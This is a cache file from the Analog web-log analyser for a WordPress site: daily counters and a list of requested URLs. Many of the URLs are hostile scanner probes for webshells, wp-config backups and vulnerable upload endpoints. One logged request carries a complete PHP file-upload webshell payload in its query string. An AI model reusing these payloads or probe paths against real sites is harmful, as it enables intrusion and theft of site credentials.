File: /home/atiscoir/tmp/analog/cache
CACHE type 5 produced by analog 6.0/Unix. Do not modify or delete!
T 0 0 1252 608 27840 683 5392970
D 27958151 28220542
19415 110 65 2 506586
19432 198 2 0 0
19432 200 2 1 41569
19432 201 1 0 0
19432 273 16 0 1128
19433 10 1 0 0
19433 12 23 23 45501
19433 13 53 34 42263
19433 15 1 0 0
19433 23 12 1 68471
19433 25 2 0 0
19433 75 2 1 41569
19433 86 23 2 136855
19433 128 1 0 0
19433 229 30 4 587355
19433 230 45 2 442202
19433 242 1 0 93797
19433 244 1 1 41727
19433 276 1 1 41727
19433 279 10 0 512
19433 280 1 0 0
19433 284 45 2 442224
19433 287 8 0 616
19434 1 4 2 220288
19434 11 4 3 191
19434 19 1 1 25087
19434 31 6 5 0
19434 50 1 1 41728
19434 55 2 0 0
19434 62 2 1 213357
19434 132 2 2 211996
19434 173 32 0 2256
19434 174 64 0 4512
19434 178 8 2 37022
19434 247 65 47 76760
19434 248 10 10 11280
19434 279 8 0 512
19435 18 2 2 0
19435 25 57 6 137443
19435 41 8 0 616
19435 81 12 0 73460
19435 114 1 0 1481
19436 52 3 3 6442
19437 57 3 0 2306
19438 188 3 3 7431
19438 194 3 3 7423
19439 78 3 3 7413
19440 28 1 0 1481
19440 241 3 3 7419
19441 18 3 3 7450
19441 112 1 0 20983
19441 113 3 0 2306
19443 107 3 3 7423
19444 69 1 0 2525
19444 252 3 3 7437
19445 37 3 3 7437
19446 169 3 3 7396
19447 138 3 3 7430
19447 167 3 3 7429
19449 177 3 3 7428
19452 84 3 3 3966
19452 157 3 3 3965
19452 221 3 3 3972
19454 201 3 3 3972
19457 74 3 3 3963
19459 41 3 3 3972
19461 30 3 3 3959
19463 190 3 3 3966
19463 238 3 3 3969
19467 149 3 3 3976
19468 90 3 3 3964
19469 27 3 3 3964
19471 165 3 3 3966
19471 220 3 3 3966
19473 89 3 3 3966
19474 56 3 3 4930
19476 181 3 3 4930
19478 55 3 3 4930
19481 35 3 3 3948
19481 48 3 3 3948
19481 54 3 3 3948
19483 207 3 3 3928
19483 211 3 3 3928
19486 268 3 3 3928
19487 163 3 3 3928
19487 215 3 3 3928
19491 79 6 6 7872
19492 266 3 3 3933
19492 270 3 3 3933
19493 126 9 0 783
19494 254 3 3 3939
19495 102 3 3 3939
19496 235 3 3 3933
19498 168 3 3 3935
19498 204 3 3 3941
19500 44 3 3 3939
19500 221 3 3 3932
19502 196 3 3 3939
19503 213 3 3 4884
19504 90 1 0 7612
19504 112 1 0 4213
19504 158 1 0 7612
19504 167 5 0 16852
19504 169 1 0 3899
19504 210 4 0 16852
19504 213 1 0 7612
19505 26 3 3 4887
19506 5 3 3 4880
19506 27 2 2 3131
19506 28 1 1 1756
19507 62 3 3 4892
19508 218 3 3 4892
19508 251 3 3 4892
19510 214 3 3 4884
19510 233 3 3 4884
19511 160 3 3 3933
19512 61 3 3 3933
19513 100 3 3 3933
19513 254 3 3 3927
19514 182 3 3 3927
19516 89 3 3 3927
19517 87 3 3 3933
19517 195 3 3 3933
19518 218 3 3 3927
19519 159 3 3 3927
19519 198 3 3 3927
19520 26 3 3 3927
19521 219 3 3 3927
19522 116 3 3 3927
19524 256 3 3 3927
19525 227 3 3 3933
19527 138 3 3 3933
19533 207 3 3 3933
19533 283 2 2 2369
19533 286 2 2 1138
19536 63 3 3 4025
19537 258 3 3 4031
19540 0 3 3 4031
19540 231 3 3 4026
19540 286 1 1 610
19540 287 1 1 1758
19541 0 1 1 0
19541 201 3 3 3080
19542 22 3 3 3080
19542 229 3 3 3080
19543 0 2 2 2374
19543 1 1 1 0
19544 232 3 3 3071
19545 279 3 3 3071
19546 6 3 3 3077
19547 10 3 3 3077
19547 150 3 3 3077
19548 179 3 3 3074
19548 233 3 3 3074
19549 58 3 3 3074
19549 100 3 3 3074
19549 106 3 3 3074
19550 147 1 1 106365
19550 148 1 1 120185
19550 178 3 3 3074
19551 197 9 0 783
19551 203 3 3 3074
19551 216 3 3 3074
19551 281 3 3 3068
19554 44 1 1 611
19554 45 1 1 705
19554 73 3 3 3074
19554 94 3 3 3074
19555 139 3 3 3074
19555 267 3 3 3074
19556 129 3 3 3074
19557 198 3 3 3074
19559 257 3 3 3068
19560 19 3 3 3074
19560 21 3 3 3074
19562 43 1 1 106365
19562 125 3 3 3074
19563 212 3 3 3079
19564 71 3 3 3072
19564 155 1 1 106365
19564 156 1 1 120185
19566 217 3 3 3079
19566 256 3 3 3079
19567 144 3 3 3079
19568 112 3 3 3079
19568 153 3 3 3079
19569 142 3 3 3079
19569 212 3 3 3788
19570 223 3 3 3785
19571 213 3 3 3780
19572 186 1 1 1322
19572 187 2 2 2458
19572 190 3 3 3692
19573 30 3 3 3685
19573 74 3 3 3685
19573 207 2 2 3082
19574 193 3 3 3692
19575 108 3 3 3685
19575 180 3 3 3692
19578 40 3 3 3692
19578 88 3 3 3692
19581 28 3 3 3692
19583 122 3 3 3685
19584 5 3 3 3687
19584 177 3 3 3693
19585 36 1 1 610
19585 37 2 2 3083
19585 257 3 3 3693
19586 211 3 3 3687
19589 201 2 2 2371
19589 204 1 1 1194
19589 205 1 1 0
19589 215 3 3 3693
19590 184 3 3 3693
19591 57 3 3 3684
19593 105 3 3 3691
19593 191 3 3 3691
19594 192 3 3 3684
19594 213 3 3 3691
19596 77 1 0 4213
19596 117 1 0 4213
19596 132 1 0 3899
19596 135 1 0 3899
19596 136 1 0 4213
19596 148 1 0 3899
19596 162 56 0 235928
19596 171 1 0 7612
19596 179 1 0 4213
19596 191 4 0 16852
19596 213 1 0 3899
19596 245 1 0 7612
19596 247 1 0 4213
19596 282 1 0 7612
19596 285 1 0 3899
19597 7 4 0 16852
19597 8 22 0 92686
19597 40 1 0 7612
19597 46 1 0 7612
19597 50 2 0 15224
19597 62 1 0 4213
19597 65 1 0 3899
19597 72 1 0 3899
19597 99 2 0 8634
19597 104 1 0 4213
19597 111 2 0 8112
19597 112 2 0 7798
19597 119 3 0 12639
19597 130 1 0 3899
19597 149 1 0 7612
19597 154 1 0 4213
19597 156 1 0 4213
19597 157 2 0 8426
19597 165 1 0 3899
19597 172 1 0 4213
1 0 0 2 0 0 28144077 0 0 28005443 0 0 /Lux.php
1 0 0 1 0 0 28019107 0 0 28019107 0 0 /wp-admin/admin-post.php
1 0 0 0 3 0 0 28170539 0 0 28147958 0 /.well-known/pki-validation/moon.php
1 0 0 0 1 0 0 28021064 0 0 28021064 0 /wp-content/themes/finley/min.php
1 0 0 0 1 0 0 28110223 0 0 28110223 0 /.well-known/acme-challenge/letsencrypt_1686513491_89c80a97b007b177
1 0 0 0 1 0 0 28084315 0 0 28084315 0 /.well-known/acme-challenge/letsencrypt_1684958988_8b962731934e4a70
1 0 0 31 1 0 28213612 27984967 0 28019246 27984967 0 /wordpress
1 0 0 1 0 0 28178922 0 0 28178922 0 0 /image/p_contact.png?106.75.164.143
1 0 0 1 1 0 27992705 27983492 0 27992705 27983492 0 /image/whatsapp.png
1 1 0 0 0 27958151 0 0 27958151 0 0 2082 /~atiscoir/wp-content/webp-express/webp-images/uploads/2022/08/Symphony-150x150.jpg.webp
1 0 0 1 0 0 28217850 0 0 28217850 0 0 /http://golem.com
1 0 0 2 0 0 28182722 0 0 28146093 0 0 /xwxx.php
1 0 0 1 0 0 28075474 0 0 28075474 0 0 /wp-content/plugins/wordfence/images/options.svg
1 0 0 1 0 0 28166263 0 0 28166263 0 0 /wp-includes/random_compat/wp-login.php
1 0 0 2 0 0 28182717 0 0 28146088 0 0 /hehe.php
1 0 0 1 0 0 28115531 0 0 28115531 0 0 /?fbclid=IwAR0B5ezunz0CoQkPpq74IIwK0D8mZLHQopQRFMbv4MHoRKvDdqvuReK7Rfw
1 0 0 5 1 0 27998876 27986133 0 27987360 27986133 0 /robots.txt?65.108.110.26
1 0 0 1 0 0 28164367 0 0 28164367 0 0 /wp/wp-admin/includes/
1 0 0 0 1 0 0 28058391 0 0 28058391 0 /.well-known/acme-challenge/letsencrypt_1683403551_f8e2202915de0b31
1 1 0 0 0 27958151 0 0 27958151 0 0 31046 /~atiscoir/wp-includes/js/jquery/jquery.min.js?ver=3.6.1
1 0 0 0 1 0 0 28059833 0 0 28059833 0 /.well-known/acme-challenge/letsencrypt_1683490040_5928d87f6b00f687
1 0 0 1 0 0 28168209 0 0 28168209 0 0 /FCKeditor/editor/filemanager/upload/php/upload.php
1 0 0 7 0 0 28181933 0 0 27990945 0 0 /site/
1 0 0 1 0 0 28115649 0 0 28115649 0 0 /?fbclid=IwAR1Onqmsl18WCk7e-ESG7dzJg5gIfc4uzfUV-Y59NwIdJJStohPFEYj0fSg
1 0 0 0 1 0 0 28120318 0 0 28120318 0 /.well-known/acme-challenge/letsencrypt_1687119165_cda94f665d2b6798
1 0 0 2 0 0 28133173 0 0 28131534 0 0 /wp-content/plugins/woo-product-table/readme.txt
1 0 0 2 0 0 28133168 0 0 28131521 0 0 /wp-content/plugins/wholesale-market-for-woocommerce/readme.txt
1 0 0 3 0 0 28038480 0 0 28006975 0 0 /wp-content/xl2023.php
1 1 0 0 0 27984919 0 0 27984919 0 0 64 /.well-known/pki-validation/674E73724A24EF3484FB7CCC8DAA756A.txt
1 0 0 6 0 0 28192882 0 0 28019991 0 0 /backup/wp-admin/install.php
1 0 0 1 0 0 28209516 0 0 28209516 0 0 /wp-content/plugins/sid/sidwso.php
1 3 0 0 0 28154428 0 0 28154428 0 0 261 /.well-known/acme-challenge/fOLhopQnp2gKojPT_Qh7tQ1dG8Kj1lm16RtdT2qvo3E
1 0 0 0 1 0 0 28018078 0 0 28018078 0 /.well-known/acme-challenge/letsencrypt_1680984742_66fee2b61799975b
1 0 0 0 1 0 0 28153490 0 0 28153490 0 /.well-known/acme-challenge/Alfa.php
1 2 0 140 0 27986198 28216430 0 27983586 27988107 0 0 /wp-includes/https-migration.php
1 0 0 3 1 0 28220478 27982967 0 28048696 27982967 0 /rich-mix.php
1 0 0 11 0 0 28172539 0 0 27998074 0 0 /index.php?page=a_Meloydogine
1 0 0 1 0 0 28175026 0 0 28175026 0 0 /editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=
1 4 0 0 0 27986808 0 0 27984673 0 0 109692 /wp-content/themes/myco/style.css?ver=6.1.1
1 0 0 1 0 0 28208991 0 0 28208991 0 0 /anjas.php
1 0 0 1 0 0 28166652 0 0 28166652 0 0 /assets/file-uploader/server/php/index.php?file=tf2rghf.jpg
1 2 0 138 0 27986197 28216429 0 27983585 27988106 0 0 /wp-includes/class-wp-block-editor-context.php
1 0 0 3 0 0 28206380 0 0 28202511 0 0 /image/product/Houseplants.jpg
1 0 0 6 0 0 28219050 0 0 27995474 0 0 /shell20211028.php
1 0 0 2 0 0 28182719 0 0 28146090 0 0 /wp-admin/fx.php
1 0 0 4 0 0 28173317 0 0 28059023 0 0 /'https://atisco.ir/wp-content/plugins/elementor/assets/lib/font-awesome/css/regular.min.css?ver=5.15.3'
1 0 0 0 1 0 0 28093224 0 0 28093224 0 /wp-content/themes/twentynineteen/logo.jpg?2091
1 0 0 0 2 0 0 28014443 0 0 27995474 0 /wp-content/uploads/ac_assets/IndoSec.php
1 0 0 3 0 0 28219050 0 0 28172843 0 0 /wp-admin/network/xmrlpc.php?p=
1 0 0 0 2 0 0 28182720 0 0 28146091 0 /wp-content/uploads/external_feed.php
1 0 0 10 0 0 28211919 0 0 27990945 0 0 /wordpress/
1 0 0 2 0 0 28209180 0 0 28128950 0 0 /wp-includes/pomo/<ahref="/wp-includes/pomo/streams.php"><imgclass="icon"src="/_autoindex/assets/icons/file-text.svg"alt="[TXT]">streams.php
1 0 0 10 0 0 28211919 0 0 27990945 0 0 /wp/
1 0 0 0 1 0 0 28084315 0 0 28084315 0 /.well-known/acme-challenge/letsencrypt_1684958988_e156509777a0eed4
1 0 0 1 0 0 28131516 0 0 28131516 0 0 /wp-story.php
1 1 0 0 0 27958151 0 0 27958151 0 0 1854 /~atiscoir/wp-content/webp-express/webp-images/uploads/2022/08/Bio-Bar-150x150.jpg.webp
1 0 0 1 0 0 28204401 0 0 28204401 0 0 /Dockerrun.aws.json
1 0 0 1 0 0 28144095 0 0 28144095 0 0 /7yn.php
1 0 0 1 0 0 28207668 0 0 28207668 0 0 /?fbclid=PAAaZgdYhYWbBB5XUH_Lm0QAAptIQJw0RQJsL9WcdQLVfDrSNjYkzO1S6Jmps
1 0 0 8 0 0 28189837 0 0 27994530 0 0 /index.php?page=p_CalBor
1 0 0 0 1 0 0 28044021 0 0 28044021 0 /.well-known/acme-challenge/letsencrypt_1682541316_656406688ec08a8e
1 1 0 0 0 27983083 0 0 27983083 0 0 0 /wp-cron.php?doing_wp_cron=1678886024.4029519557952880859375
1 0 0 0 1 0 0 28072797 0 0 28072797 0 /.well-known/acme-challenge/letsencrypt_1684267877_b034610943e5a132
1 0 0 2 0 0 28182719 0 0 28146090 0 0 /wp-admin/maint/sidwso.php
1 1 0 0 0 27985832 0 0 27985832 0 0 64 /.well-known/pki-validation/C8958803CD5057D166B627905F4A8249.txt
1 0 0 7 0 0 28197834 0 0 28011439 0 0 /wp-admin/css/colors/blue/uploader.php
1 0 0 22 0 0 28139775 0 0 27990602 0 0 /wordpress/wp-login.php
1 0 0 2 0 0 28206812 0 0 28202998 0 0 /image/article/nematode1.jpg
1 0 0 1 0 0 28181888 0 0 28181888 0 0 /image/gallery/views/b3.jpg
1 0 0 1 0 0 28217097 0 0 28217097 0 0 /cgi-bin/wp-sigunq.php
1 0 0 2 0 0 28078357 0 0 28020136 0 0 /wp-config.save
1 0 0 0 1 0 0 28098713 0 0 28098713 0 /.well-known/acme-challenge/letsencrypt_1685822863_f188a167a8d37311
1 1 0 0 0 27985827 0 0 27985827 0 0 64 /.well-known/pki-validation/87D5DC2606A8744CB8CABAD3BD0E3A3C.txt
1 1 0 0 0 28219050 0 0 28219050 0 0 4213 /cgi-sys/suspendedpage.cgi?rchk
1 0 0 13 0 0 28192226 0 0 27997146 0 0 /view-source:
1 0 0 4 0 0 28182717 0 0 28081274 0 0 /images/vuln.php
1 1 0 0 0 27958151 0 0 27958151 0 0 7093 /~atiscoir/wp-includes/js/jquery/ui/core.min.js?ver=1.13.2
1 0 0 8 1 0 28194154 27984967 0 28025522 27984967 0 /web
1 0 0 0 1 0 0 28166428 0 0 28166428 0 /.well-known/acme-challenge/letsencrypt_1689885128_0992d97d313aa4aa
1 0 0 2 0 0 28182718 0 0 28146089 0 0 /reminder.php
1 0 0 10 0 0 28172554 0 0 27983069 0 0 /index.php?page=p_RichMix
1 0 0 1 0 0 28171918 0 0 28171918 0 0 /templates/beez_20/up.php
1 0 0 5 0 0 28209516 0 0 27998280 0 0 /bala.php
1 0 0 12 0 0 28172525 0 0 27983247 0 0 /index.php?page=p_Aquatis
1 0 0 1 0 0 28153491 0 0 28153491 0 0 /gank.php.PhP
1 1 0 0 0 27985833 0 0 27985833 0 0 64 /.well-known/pki-validation/5F0007F3660ED4ADFA4C43AFF23446DE.txt
1 0 0 8 0 0 28208991 0 0 28188730 0 0 /simple.php
1 0 0 12 0 0 28169900 0 0 28061867 0 0 /wp-content/plugins/wordpress-three/miin.php
1 0 0 1 0 0 28182068 0 0 28182068 0 0 /image/gallery/p_result/b7.jpg
1 0 0 0 1 0 0 27983353 0 0 27983353 0 /wp-config.php----
1 0 0 1 0 0 28170728 0 0 28170728 0 0 /js/fckeditor/editor/filemanager/upload/php/upload.php
1 0 0 0 1 0 0 28207622 0 0 28207622 0 /wp-content/themes/wp-kobieta/404.php
1 0 0 0 2 0 0 28133170 0 0 28131525 0 /wp-content/themes/listingo/js/listingo_callbacks.js
1 0 0 1 0 0 28154326 0 0 28154326 0 0 /wp-content/plugins/kona-instagram-feed-for-gutenberg/bfc.php?2197
1 0 0 2 0 0 28133172 0 0 28131532 0 0 /wp-content/plugins/nd-donations/readme.txt
1 0 0 1 0 0 27988840 0 0 27988840 0 0 /?65.108.110.26
1 0 0 1 0 0 28166265 0 0 28166265 0 0 /wp-includes/block-supports/wp-login.php
1 0 0 1 0 0 28031773 0 0 28031773 0 0 /wp-includes/about.php
1 0 0 5 0 0 28182716 0 0 28005440 0 0 /alfa.php
1 0 0 1 0 0 28177346 0 0 28177346 0 0 /image/gallery/city/b7.jpg
1 4 4 286 0 27986198 28216433 0 27983586 27988108 0 4848 /wp-includes/IXR/
1 2 0 1 0 27984943 27986808 0 27984673 27986808 0 622 /wp-content/plugins/elementor/assets/lib/font-awesome/css/solid.min.css?ver=5.15.3
1 0 0 9 0 0 28214449 0 0 28094328 0 0 /modules/mod_ariimageslidersa/mod_ariimageslidersa.xml
1 0 0 1 0 0 28086553 0 0 28086553 0 0 /%D8%AA%D9%84%D9%87-%D9%87%D8%A7%DB%8C-%DA%86%D8%B3%D8%A8%D9%86%D8%AF%D9%87/
1 0 0 2 0 0 28182720 0 0 28146092 0 0 /wp-includes/wp-2019.php
1 0 0 1 0 0 28111895 0 0 28111895 0 0 /image/template/banner3.jpg
1 0 0 1 0 0 28016624 0 0 28016624 0 0 /wp-content/plugins/core-stab/RxRqiqdm.php
1 0 0 2 0 0 28182719 0 0 28146090 0 0 /upload.php?mr=exe3
1 0 0 2 0 0 28208992 0 0 28031776 0 0 /content.php
1 0 0 1 0 0 28111896 0 0 28111896 0 0 /image/mahsulat/agro
1 0 0 1 0 0 28214960 0 0 28214960 0 0 /cjfuns.php?2357
1 0 0 2 0 0 28041975 0 0 28012983 0 0 /wp-content/plugins/seoox/alfa-rex.php
1 0 0 1 0 0 28177584 0 0 28177584 0 0 /image/gallery/p_result/b2.jpg
1 0 0 2 0 0 28133169 0 0 28131522 0 0 /wp-content/plugins/user-verification/readme.txt
1 0 0 2 0 0 28182716 0 0 28146087 0 0 /admin/controller/extension/wpm.php
1 0 0 0 1 0 0 28029617 0 0 28029617 0 /.well-known/acme-challenge/letsencrypt_1681677072_2dd87b7dbe2922bb
1 0 0 4 0 0 28206819 0 0 28184392 0 0 /js/jquery.easing.min.js
1 0 0 4 0 0 28178470 0 0 28158368 0 0 /_profiler/phpinfo
1 0 0 2 0 0 28182721 0 0 28146092 0 0 /wp-includes/admin-bar.php
1 0 0 1 0 0 28153492 0 0 28153492 0 0 /wp-admin/wso.php
1 0 0 6 2 0 28209516 27984384 0 27998207 27984305 0 /wp-content/plugins/anttt/simple.php
1 0 0 2 0 0 28178566 0 0 28096887 0 0 /image/gallery/advice/b10.jpg
1 0 0 1 0 0 28181685 0 0 28181685 0 0 /image/gallery/city/b2.jpg
1 0 0 0 1 0 0 28128950 0 0 28128950 0 /.well-known/acme-challenge/letsencrypt_1687637091_3c6f228b2e9ca21b
1 0 0 1 0 0 28178195 0 0 28178195 0 0 /image/gallery/sampling/b5.jpg
1 0 0 0 1 0 0 27983353 0 0 27983353 0 /wp-config_2.txt
1 0 0 2 0 0 28062358 0 0 28059470 0 0 /Backup
1 0 0 1 0 0 28114112 0 0 28114112 0 0 /wp-content/vz_adcc0.php
1 0 0 2 0 0 28043602 0 0 28006640 0 0 /image/product/Houseplants/h3.png
1 2 2 146 0 27986200 28216437 0 27983587 27988110 0 1596 /wp-includes/fonts/
1 0 0 7 0 0 28165735 0 0 28019837 0 0 /agro-health.php
1 2 0 140 0 27986197 28216429 0 27983585 27988106 0 0 /wp-includes/class-wp-textdomain-registry.php
1 2 0 3 0 27986528 28154429 0 27986528 28154429 0 0 /.DS_Store
1 1 0 0 0 27984162 0 0 27984162 0 0 0 /wp-cron.php?doing_wp_cron=1678950753.3088769912719726562500
1 1 0 0 0 27958151 0 0 27958151 0 0 12449 /~atiscoir/wp-includes/css/dist/block-library/style-rtl.min.css?ver=6.1.1
1 0 0 1 0 0 28153490 0 0 28153490 0 0 /wp-includes/embed-wp.php
1 0 0 0 1 0 0 28110223 0 0 28110223 0 /.well-known/acme-challenge/letsencrypt_1686513491_b76adac1651577eb
1 0 0 0 1 0 0 27983352 0 0 27983352 0 /wp-config.php.o
1 0 0 8 0 0 28182715 0 0 28005441 0 0 /1index.php
1 0 0 1 0 0 28020134 0 0 28020134 0 0 /wp-config.php-o
1 0 0 0 1 0 0 28144790 0 0 28144790 0 /.well-known/acme-challenge/letsencrypt_1688587518_f2af0989a502928d
1 0 0 3 0 0 28020172 0 0 28020027 0 0 /wp-config.php-n
1 0 0 1 0 0 28087526 0 0 28087526 0 0 /modules/mod_impact/elements/upload_file.php
1 0 0 3 0 0 28207307 0 0 28203445 0 0 /image/product/AgroHealth.jpg
1 0 0 3 0 0 28020171 0 0 28020025 0 0 /config
1 0 0 0 1 0 0 27984014 0 0 27984014 0 /unzip.php?1891
1 0 0 15 0 0 28219050 0 0 27990808 0 0 /wp-content/plugins/ccx/index.php
1 6 0 1 0 27986528 27986809 0 27983636 27986809 0 184832 /wp-includes/js/jquery/jquery.min.js?ver=3.6.1
1 0 0 1 0 0 28211351 0 0 28211351 0 0 /wp-content/plugins/html5avmanager/lib/uploadify/uploadify.css
1 0 0 1 0 0 28185442 0 0 28185442 0 0 /wp-content/plugins/cherry-plugin/admin/css/tinymce-shortcodes.css
1 2 0 140 0 27986197 28216430 0 27983586 27988106 0 0 /wp-includes/class-wp-theme-json.php
1 0 0 1 0 0 28179120 0 0 28179120 0 0 /image/gallery/advice/b8.jpg
1 0 0 0 1 0 0 27983351 0 0 27983351 0 /wp-config.php12
1 0 0 1 0 0 28035059 0 0 28035059 0 0 /css/styles.css
1 0 0 0 1 0 0 27983351 0 0 27983351 0 /wp-config.php11
1 0 0 7 0 0 28154236 0 0 28035678 0 0 /wp-content/plugins/woocommerce-payments/changelog.txt
1 0 0 0 1 0 0 27983351 0 0 27983351 0 /wp-config.php10
1 0 0 1 0 0 28031774 0 0 28031774 0 0 /wp-admin/css/fw.php
1 1 0 0 0 27958151 0 0 27958151 0 0 791 /~atiscoir/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=7.0.0
1 0 0 5 0 0 28219050 0 0 28031771 0 0 /wp-blog.php
1 0 0 1 0 0 28219050 0 0 28219050 0 0 /wp-content/plugins/linkpreview/db.php?u
1 0 0 3 0 0 28028450 0 0 27998208 0 0 /wp-content/plugins/woocommerce-payments/dist/blocks-checkout.css
1 0 0 1 0 0 28026027 0 0 28026027 0 0 /wp-22.php?sfilename=1975.php&sfilecontent=<html>%0A<title> deadcode1975 </title>%0A<center>%0A%09<h1> deadcode1975 </h1>%0A<%3Fphp echo '<b>System Info:</b> '.php_uname().'<br>'.'<b>Current Directory:</b> '.getcwd()%3Becho '<br><form method%3D"post" enctype%3D"multipart/form-data" name%3D"uploader" id%3D"uploader"><input type%3D"file" name%3D"file" size%3D"20"><input name%3D"_upl" type%3D"submit" id%3D"_upl" value%3D"Uploaded"></form></td></tr></table></pre>'%3Bif($_FILES){if(!empty($_FILES['file'])){move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name'])%3Becho "<b>File Uploaded !!!</b><br>"%3B}else{echo "<b>Upload Failed !!!</b><br><br>"%3B}}%3F>%0A&supfiles=1975.php
1 0 0 1 0 0 28110967 0 0 28110967 0 0 /image/product/Micro/Micro3.png
1 0 0 0 1 0 0 28054073 0 0 28054073 0 /.well-known/acme-challenge/letsencrypt_1683144487_8bbcdcf3720cd469
1 0 0 0 2 0 0 28133167 0 0 28131519 0 /wp-content/themes/aidreform/include/lang_upload.php
1 0 0 0 1 0 0 27983352 0 0 27983352 0 /wp-config fix
1 0 0 1 0 0 28134342 0 0 28134342 0 0 /public/plugins/uploadify/uploadify.css
1 1 0 0 0 27983447 0 0 27983447 0 0 64 /.well-known/pki-validation/36B32FF064986DFC210BCE01A5D4DCF0.txt
1 0 0 0 1 0 0 28020958 0 0 28020958 0 /.well-known/acme-challenge/letsencrypt_1681157531_af6ae9f43e504e72
1 1 0 0 0 27958151 0 0 27958151 0 0 2134 /~atiscoir/wp-content/webp-express/webp-images/uploads/2022/08/Rich-Mix-150x150.jpg.webp
1 0 0 0 1 0 0 28209517 0 0 28209517 0 /wp-content/themes/u-design/scripts/admin/uploadify/uploadify.php
1 0 0 0 1 0 0 27983806 0 0 27983806 0 /%D8%AF%D8%B1%D8%A8%D8%A7%D8%B1%D9%87-%D9%85%D8%A7/
1 0 0 1 1 0 28092852 27983353 0 28092852 27983353 0 /wp-config.php.2
1 0 0 1 0 0 28074995 0 0 28074995 0 0 /wp-config.php.1
1 0 0 0 1 0 0 27985271 0 0 27985271 0 /2021/wp-includes/wlwmanifest.xml
1 0 0 4 0 0 28182718 0 0 28031772 0 0 /old-index.php
1 0 0 2 0 0 28035120 0 0 28020625 0 0 /wp-content/rindex.php?action=add
1 0 0 8 1 0 28194154 27984967 0 28025521 27984967 0 /tmp
1 0 0 1 0 0 28178752 0 0 28178752 0 0 /image/gallery/advice/b3.jpg
1 0 0 2 0 0 28182722 0 0 28146093 0 0 /wxo.php
1 0 0 0 1 0 0 28064155 0 0 28064155 0 /.well-known/acme-challenge/letsencrypt_1683749372_bbad682629924275
1 1 0 0 0 27985829 0 0 27985829 0 0 64 /.well-known/pki-validation/69EA0446AD38F1B65C6E24308A357A90.txt
1 0 0 0 1 0 0 27983353 0 0 27983353 0 /wp-config.php--
1 0 0 1 0 0 28048768 0 0 28048768 0 0 /extension_mod.php?macro_good=666666&code=die(md5(12));
1 0 0 1 0 0 28209515 0 0 28209515 0 0 /wp-admin/network/xmrlpc.php
1 0 0 1 0 0 28144085 0 0 28144085 0 0 /8.php
1 0 0 1 0 0 28020138 0 0 28020138 0 0 /config.phpnew
1 0 0 4 0 0 28130026 0 0 28130024 0 0 /wp-includes/blocks/post-title/post-title/index.php
1 0 0 0 1 0 0 28098161 0 0 28098161 0 /wp-content/themes/welfare-charity/www.php
1 0 0 1 0 0 28171394 0 0 28171394 0 0 /plugins/editors/fckeditor/editor/filemanager/upload/php/upload.php
1 0 0 1 0 0 28171918 0 0 28171918 0 0 /templates/beez_20/uploader.php
1 0 0 1 0 0 28171918 0 0 28171918 0 0 /templates/beez5/jsstrings.php
1 0 0 0 1 0 0 28067032 0 0 28067032 0 /.well-known/acme-challenge/letsencrypt_1683922011_988b15107f4a3f37
1 0 0 6 0 0 28185144 0 0 28014751 0 0 /wp-content/plugins/seoplugins/db.php
1 0 0 1 0 0 28175905 0 0 28175905 0 0 /wp-content/plugins/chart-builder/admin/class-chart-builder.php
1 0 0 2 0 0 28167021 0 0 28163379 0 0 /agro helth.html
1 0 0 1 0 0 28172779 0 0 28172779 0 0 /editor/filemanager/upload/php/upload.php
1 0 0 0 1 0 0 28139029 0 0 28139029 0 /.well-known/acme-challenge/letsencrypt_1688241863_4aa1795214dc302d
1 0 0 2 0 0 28133172 0 0 28131532 0 0 /wp-content/plugins/nd-restaurant-reservations/readme.txt
1 0 0 0 1 0 0 27983351 0 0 27983351 0 /wp-config.php.save.9
1 0 0 0 1 0 0 27983351 0 0 27983351 0 /wp-config.php.save.8
1 0 0 6 2 0 28209516 27984384 0 27998207 27984305 0 /wp-content/plugins/wordpresss3cll/up.php
1 0 0 0 6 0 0 28124712 0 0 28101061 0 /wp-content/themes/wpclassic/inc/index.php
1 1 0 0 0 27985832 0 0 27985832 0 0 64 /.well-known/pki-validation/E543CF74EE282CDB095480EAD3F9A6E8.txt
1 0 0 0 1 0 0 27983351 0 0 27983351 0 /wp-config.php.save.7
1 0 0 0 1 0 0 27983351 0 0 27983351 0 /wp-config.php.save.6
1 0 0 1 0 0 28114936 0 0 28114936 0 0 /uploadify/uploadify.css
1 0 0 0 1 0 0 27983351 0 0 27983351 0 /wp-config.php.save.5
1 0 0 1 0 0 28123451 0 0 28123451 0 0 /backups.sql
1 0 0 0 1 0 0 27983351 0 0 27983351 0 /wp-config.php.save.4
